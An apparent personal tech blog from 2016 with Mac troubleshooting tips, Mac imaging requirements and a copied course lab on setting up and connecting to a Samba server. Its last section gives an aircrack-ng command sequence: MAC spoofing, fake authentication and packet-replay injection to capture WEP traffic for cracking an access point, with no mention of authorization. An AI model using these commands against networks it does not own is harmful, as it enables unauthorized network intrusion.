Friday, 2 December 2016

Useful Macintosh Commands


How to reset forgotten mac password on mac
Simply restart your macbook then
Hold down  Command and R
type in: resetpassword



If you are logged in on mac and want to change your password via terminal
simply open up terminal

then run passwd
then enter your new password





Troubleshoot Mac network issues
If you want to run graphically just find network utility or you may execute commands via terminal
note: after executing commands TO EXIT
simply hit CONTROL Z on your macbook keyboard

Following commands that I use

traceroute - http://www.inmotionhosting.com/support/website/how-to/read-traceroute



whois

ping



127.0.0.1 this simply refers to local host
anything being redirected to this localhost will not have internet connection

in macbook

sudo nano /etc/hosts

sudo dscacheutil -flushcache  this command flushes DNS CACHE


control + o means save




Video tutorials
https://youtu.be/AimCNTzDlVo

All computer Networking troubleshooting
http://goo.gl/WXNhTr



Thursday, 1 December 2016

Imaging and Deploying Macintosh Computers

WHAT YOU NEED TO HAVE

One computer to be set up as MASTER
One Computer to be setup as SLAVE

YOU CAN DEPLOY TO YOUR MASTER BUT PREFERABLY but just have a computer setup as DEPLOYMENT TARGET



AN EXTERNAL HARD DRIVE (use  bus powered)

DHCP available on your network or your server

note: YOUR INTERNET CONNECTION SHOULD BE FAST ENOUGH

A SMALL GIGABIT SWITCH

A GIGABIT CONNECTION

SAMBA SERVER SETUP

found somewhere on the internet


THIS IS ALSO APPLICABLE ON HOW TO CONFIGURE SAMBA SERVER ON YOUR RASPBERRY PI
TO ACCESS YOUR WINDOWS AND WATCH MOVIES OR ANY MULTIMEDIA STORED IN YOUR SERVER

On centos2, install samba
sudo yum -y install samba samba-client

Backup the file Samba config file located at /etc/samba/smb.conf, and create a new one containing only the following contents (replacing the information as required):
[global]
workgroup = <yourlearnid>.org
server string = "put your real name here without the quotes"
encrypt passwords = yes
smb passwd file = /etc/samba/smbpasswd
hosts allow = 10.40.80. <first three octets of network address followed by period e.g. "192.168.6.">
; note: the above line will allow access from the Seneca domain in lab T2107
  
[home]
comment = "put your real name here without the quotes"
path = /home/<learnid>
valid users = <learnid>
; remember <learnid> is your learnid account name
public = no
writable = yes
printable = no
create mask = 0765
Create a Samba password for your user, by issuing the following command.
sudo smbpasswd -a <learnid>
You can change a user's password if you require by issuing this command (not required).
sudo smbpasswd <username>
Confirm your user's been properly added by issuing the following command:
sudo pdbedit -L -v
Test and review your configuration with the command
sudo testparm
You can now start your Samba server, and enable it to start on boot.
sudo systemctl start smb
sudo systemctl enable smb
Test to see if you have a connection to the samba server.  This command will show you a list of all available shares.
smbclient -U <learnid> -L centos2

Connecting to a Linux SMB Server from a Linux Client

There are many ways that a Linux client can connect to an SMB server.  You can use smbclient, the mount command, a web browser or even graphically through Nautilus.  This next part of the lab will guide you through the steps for each option.
Using SMB Client
You should not have to install samba-client as it should already be present, but if it is not do so.  From centos1, use the smbclient command in a terminal window to connect to your Samba Server.
smbclient '\\centos2\home' -U <learnid>
After entering your password you should see a prompt simliar to the following.
smb: \>
Enter the ls command to see a list of files in your home directory. You may recieve the following error.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
This error is caused by SELinux.  If you've disabled it, you won't see this error.  In order to fix this we need to configure SELinux to allow samba access to home directories.  Issue the following command:
sudo setsebool -P samba_enable_home_dirs 1
Issue the ls command again to confirm the changes have taken effect.  You should see a directory listing.  When you do, close the connection and we'll move on to the next method.
Using 'mount -t cifs'
Install the tools for mounting samba using the mount command.
      yum -y install cifs-utils
The next method we're going to explore to access files on our Samba server is using the mount command.  On centos1, issue the following commands to mount your home directory from centos2.
mkdir /tmp/centos2-home
mount -t cifs //centos2/home /tmp/centos2-home -o username=<learnid>
ls /tmp/centos2-home
Using Nautilus to browse Samba shares
Start a graphical interface on centos1.
Use the "Applications" menu from the desktop and open 'File Browser' under 'System Tools'.
From the menu in the side-bar of the file tool, choose 'Connect to Server...'.
Select 'Custom Location' and enter 'smb://centos2/home' as the location, click 'Connect' and enter your samba password in the prompt.
Where centos2 is the name of the server, and home is the name of the directory it is sharing.
After you have checked that you can access your files, unmount the share by right-clicking its icon in the side-bar and clicking 'Unmount'.
Using a Web Browser to view Samba shares
You can also use a web browser with support for the SMB protocol such as Konqueror.
Note that firefox does not have such support.
If Konqueror is not installed then install it with the command:
sudo yum -y install kdebase
Start Konqueror and enter the following into the address bar
smb://centos2/home
Enter your user name and password when prompted.  When you're done viewing files, close Konquror.
Connecting to a Linux SMB Server from a Windows Client (Windows 7) **** Reference Only, do not perform this part ****
For this next step I've provided you a pre-configured Windows 7 virtual machine.  Download it, copy both files to your backup directory and issue ./vs -r -o win7
The process will take a few minutes, the username and password are ops335/ops335.  When it's been restored, start it up and log in.
Open up Explorer, right click on Computer > Map network drive.. > Select a Drive Letter and '\\<ip-address-of-centos2>\home
You should be prompted for your username and password.  You can now use the browser to drag and drop files to and from the Windows machine.

EXPORT SHARES INFO FROM DOMAIN



http://www.systemtools.com/free.htm

THE TOOL IS CALLED EXPORTER

Capturing Slow Wep Packets


Shell number 1 :  ifconfig wlan0 down macchanger -m 00:11:22:33:44:55 wlan0 ifconfig wlan0 up airmon-ng start wlan0 airodump-ng -c -b -w wlan0   


Shell number 2 : aireplay-ng -1 0 -a wlan0 aireplay-ng -1 0 -a mon0   

Shell number 3 : aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a -x 200 mon0  aireplay will start reading packets for -p 0841 attack and it will ask you wold you like to use this packet (y/n) : Don't enter anything , leave it like that , 


then go back to shell number 2 , and do : aireplay-ng -1 0 -a mon0 aireplay-ng -1 6666 -a wlan0 

  then go back to shell number 3 and enter y :)  I supose that you are not a begginer in WIFI but anyway : wlan0 - managed interface mon0 - monitor interface Change interfaces to those that you have. -c -- channel of AP -w -- output file -a -- BSSID of AP [ MAC address ] -b -- same as -a -x -- number of packets , can change it as you like , for me 200 is optimal :)  So try it